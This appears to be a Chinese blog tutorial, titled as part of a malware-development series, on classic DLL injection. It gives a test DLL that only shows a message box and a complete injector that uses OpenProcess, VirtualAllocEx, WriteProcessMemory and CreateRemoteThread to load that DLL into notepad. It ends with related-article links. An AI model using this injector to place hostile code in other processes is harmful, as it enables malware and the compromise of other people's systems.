什么是dll注入?

DLL注入允许将外部DLL文件加载到进程中并运行其中的代码。DLL(动态链接库)是一种可重用的代码库,它包含在多个程序中使用的函数、类、变量和其他程序代码。DLL注入技术可以通过将DLL文件注入到目标进程的地址空间中,从而允许程序能够访问其中的代码和数据。DLL注入通常用于许多不同的目的,包括增强程序的功能,修改程序的行为,以及执行恶意活动,如间谍软件或病毒。在某些情况下,DLL注入也可以用于调试或测试程序,或者在某些特定场景下进行一些修改或定制。(来自ChatGpt的解释)

生成dll文件

我这里使用DevCpp新建了dll项目





新建的项目有两个文件,一个是dll.h,一个是dllmain.cpp,将这两个文件修改为如下代码,在dll被映射到了进程的地址空间时弹窗:

dll.h代码:

#ifndef _DLL_H_
#define _DLL_H_ #if BUILDING_DLL
#define DLLIMPORT __declspec(dllexport)
#else
#define DLLIMPORT __declspec(dllimport)
#endif class DLLIMPORT DllClass
{ }; #endif

dllmain.cpp代码:

/* Replace "dll.h" with the name of your header */
#include "dll.h"
#include <windows.h> BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason,LPVOID lpvReserved)
{
switch(fdwReason)
{
case DLL_PROCESS_ATTACH:
{
//当这个DLL被映射到了进程的地址空间时
MessageBox(0, "inj!\n","inj",MB_ICONINFORMATION);
break;
}
case DLL_PROCESS_DETACH:
{
//这个DLL从进程的地址空间中解除映射
break;
}
case DLL_THREAD_ATTACH:
{
//一个线程正在被创建
break;
}
case DLL_THREAD_DETACH:
{
//线程终结
break;
}
} /* Return TRUE on success, FALSE on failure */
return TRUE;
}

然后进行编译得到test.dll文件。

编写注入文件

主要步骤如下:

  • (1)打开目标进程
  • (2)分配目标进程的内存
  • (3)将dll加载到目标进程
  • (4)在目标进程中创建新的线程

这里涉及到的函数有:

(1)OpenProcess:用于打开指定进程的句柄,以便在进程间进行通信或操作。

HANDLE OpenProcess(
DWORD dwDesiredAccess, // 访问权限
BOOL bInheritHandle, // 是否继承句柄
DWORD dwProcessId // 进程ID
);

(2)VirtualAllocEx:为远程进程分配内存缓冲区,这个函数可以用于实现共享内存,动态加载DLL文件,以及创建线程栈等操作。

LPVOID VirtualAllocEx(
HANDLE hProcess, // 目标进程句柄
LPVOID lpAddress, // 分配的内存地址
SIZE_T dwSize, // 分配的内存大小
DWORD flAllocationType,// 内存分配类型
DWORD flProtect // 内存保护属性
);

(3)WriteProcessMemory:在进程之间复制数据,该函数可用于在不同进程之间共享数据,或者在同一进程中的不同线程之间共享数据。:

BOOL WriteProcessMemory(
HANDLE hProcess, // 目标进程句柄
LPVOID lpBaseAddress, // 目标内存地址
LPCVOID lpBuffer, // 写入数据的缓冲区
SIZE_T nSize, // 写入数据的大小
SIZE_T *lpNumberOfBytesWritten // 实际写入数据的大小
);

(4)CreateRemoteThread:用于在指定进程中创建一个远程线程,并在远程线程中执行指定的函数。该函数可用于在不同进程之间执行函数,或者在同一进程中的不同线程之间执行函数。

HANDLE CreateRemoteThread(
HANDLE hProcess, // 目标进程句柄
LPSECURITY_ATTRIBUTES lpThreadAttributes,// 线程安全属性
SIZE_T dwStackSize, // 线程栈大小
LPTHREAD_START_ROUTINE lpStartAddress, // 线程入口地址
LPVOID lpParameter, // 线程参数
DWORD dwCreationFlags, // 线程创建标志
LPDWORD lpThreadId // 线程ID
);

(5)WaitForSingleObject:用于等待一个指定的对象变为有信号状态。

DWORD WaitForSingleObject(
HANDLE hHandle, // 要等待的对象的句柄
DWORD dwMilliseconds // 等待时间,以毫秒为单位
);

(6)VirtualFreeEx:用于释放指定进程中的虚拟内存。

BOOL VirtualFreeEx(
HANDLE hProcess, // 要释放虚拟内存的进程的句柄
LPVOID lpAddress, // 要释放的虚拟内存的起始地址
SIZE_T dwSize, // 要释放的虚拟内存的大小,以字节为单位
DWORD dwFreeType // 释放类型
);

完整代码如下:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
#include <tlhelp32.h> char evilDLL[] = "C:\\Users\\16537\\Desktop\\test.dll";
unsigned int evilLen = sizeof(evilDLL) + 1; int main(int argc, char* argv[]) {
HANDLE ph; // 进程句柄
HANDLE rt; // 远程线程
LPVOID rb; // 远程内存 // 获取LoadLibraryA函数的地址
HMODULE hKernel32 = GetModuleHandle("Kernel32");
VOID *lb = (VOID *)GetProcAddress(hKernel32, "LoadLibraryA"); // 判断进程是否存在
if ( atoi(argv[1]) == 0) {
printf("PID not found!\n");
return -1;
}
printf("PID: %i", atoi(argv[1])); // 打开目标进程
ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1]))); // 分配远程进程的内存
rb = VirtualAllocEx(ph, NULL, evilLen, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE); // 在进程间复制dll
WriteProcessMemory(ph, rb, evilDLL, evilLen, NULL); // 在目标进程中创建新的线程
rt = CreateRemoteThread(ph, NULL, 0, (LPTHREAD_START_ROUTINE)lb, rb, 0, NULL); // 等待远程线程执行结束
WaitForSingleObject(rt, INFINITE); // 清理内存空间
VirtualFreeEx(ph, rb, 0, evilLen); CloseHandle(ph);
CloseHandle(rt); return 0;
}

这里将dll注入到notepad中,先打开一个记事本,通过processhacker找到PID:



接着编译上面的代码得到evil_inj.exe,再运行这个exe



可以看到注入成功,在processhacker中可以看到notepad加载了test.dll

恶意软件开发(三)经典DLL注入流程的更多相关文章

  1. 使用react全家桶制作博客后台管理系统 网站PWA升级 移动端常见问题处理 循序渐进学.Net Core Web Api开发系列【4】:前端访问WebApi [Abp 源码分析]四、模块配置 [Abp 源码分析]三、依赖注入

    使用react全家桶制作博客后台管理系统   前面的话 笔者在做一个完整的博客上线项目,包括前台.后台.后端接口和服务器配置.本文将详细介绍使用react全家桶制作的博客后台管理系统 概述 该项目是基 ...

  2. [转]Dll注入经典方法完整版

    Pnig0s1992:算是复习了,最经典的教科书式的Dll注入. 总结一下基本的注入过程,分注入和卸载 注入Dll: 1,OpenProcess获得要注入进程的句柄 2,VirtualAllocEx在 ...

  3. 反射Dll注入分析

    (源码作者:(HarmanySecurity)Stephen Fewer) 0x01  反射Dll注入的优点  1.反射Dll注入的主要优点是它没有以主机系统的任何方式(例如LoadLibrary和L ...

  4. DLL注入新姿势:反射式DLL注入研究

    在分析koadic渗透利器时,发现它有一个注入模块,其DLL注入实现方式和一般的注入方式不一样.搜索了一下发现是由HarmanySecurity的Stephen Fewer提出的ReflectiveD ...

  5. DLL注入实践

    Windows系统大量使用dll作为组件复用,应用程序也会通过dll实现功能模块的拆分.DLL注入技术是向一个正在运行的进程插入自有DLL的过程. Window下的代码注入 常见的Windows代码注 ...

  6. 从零开始实现ASP.NET Core MVC的插件式开发(三) - 如何在运行时启用组件

    标题:从零开始实现ASP.NET Core MVC的插件式开发(三) - 如何在运行时启用组件 作者:Lamond Lu 地址:https://www.cnblogs.com/lwqlun/p/112 ...

  7. Dll注入技术之APC注入

    APC注入的原理是利用当线程被唤醒时APC中的注册函数会被执行的机制,并以此去执行我们的DLL加载代码,进而完成DLL注入的目的,其具体流程如下:     1)当EXE里某个线程执行到SleepEx( ...

  8. 第22章 DLL注入和API拦截(2)

    22.4 使用远程线程来注入DLL 22.4.1 概述 (1)远程线程注入是指一个进程在另一个进程中创建线程,然后载入我们编写的DLL,并执行该DLL代码的技术.其基本思路是通过CreateRemot ...

  9. 基于Spring MVC的Web应用开发(三) - Resources

    基于Spring MVC的Web应用开发(3) - Resources 上一篇介绍了在基于Spring MVC的Web项目中加入日志,本文介绍Spring MVC如何处理资源文件. 注意到本项目的we ...

  10. [转载]解析WINDOWS中的DLL文件---经典DLL解读

    [转载]解析WINDOWS中的DLL文件---经典DLL解读 在Windows世界中,有无数块活动的大陆,它们都有一个共同的名字——动态链接库.现在就走进这些神奇的活动大陆,找出它们隐藏已久的秘密吧! ...

随机推荐

  1. 《ASP.ENT Core 与 RESTful API 开发实战》-- (第6章)-- 读书笔记(上)

    第 6 章 高级查询和日志 6.1 分页 在 EF Core 中,数据的查询通过集成语言查询(LINQ)实现,它支持强类型,支持对 DbContext 派生类的 DbSet 类型成员进行访问,DbSe ...

  2. Oracle-ORA-12505, TNS:listener does not currently know of SID given in connect descriptor

    问题描述 ORA-12505, TNS:listener does not currently know of SID given in connect descriptorORA-12505: TN ...

  3. zookeeper源码(08)请求处理及数据读写流程

    ServerCnxnFactory 用于接收客户端连接.管理客户端session.处理客户端请求. ServerCnxn抽象类 代表一个客户端连接对象: 从网络读写数据 数据编解码 将请求转发给上层组 ...

  4. 【Unity3D】点选物体、框选物体、绘制外边框

    1 需求描述 ​ 绘制物体外框线条盒子 中介绍了绘制物体外框长方体的方法,本文将介绍物体投影到屏幕上的二维外框绘制方法. 点选物体:点击物体,可以选中物体,按住 Ctrl 追加选中,选中的物体设置为红 ...

  5. TS内置类型与拓展

    TS内置类型与拓展 TypeScript具有类型系统,且是JavaScript的超集,其可以编译成普通的JavaScript代码,也就是说,其是带有类型检查的JavaScript. 内置类型 Type ...

  6. Js中fetch方法

    Js中fetch方法 fetch()方法定义在Window对象以及WorkerGlobalScope对象上,用于发起获取资源的请求,其返回一个Promise对象,这个Promise对象会在请求响应后被 ...

  7. Java并发编程实例--6.线程的join方法

    有时我们需要等到某个线程执行完毕.例如,我可能有一个线程来初始化资源完毕然后其他线程才能开始执行. 谓词,我们可以使用Thread类的join()方法. 本例中,我们将学习使用这个方法. DataSo ...

  8. 通过结巴分词 sklearn判断语句和例句集合最相近的句子

    ` import jieba from sklearn.feature_extraction.text import TfidfVectorizer from sklearn.metrics.pair ...

  9. 如何配置WebStorm开发Chrome插件项目

    开发Chrome插件项目,在调用Chrome的相关接口时,默认情况下WebStorm是不会有任何提示的,这对于开发者特别是新手特别不友好. 因此,需要IDE能支持Chrome接口调用时的智能提示. 如 ...

  10. ASP.NET 通过拦截器记录错误日志

    前言 主要是记录一下实现的错误日志拦截,可以在拦截器里面控制返回的信息,把错误信息处理后返回给请求端. 代码实战 拦截器 /// <summary> /// 接口异常捕捉过滤器 /// & ...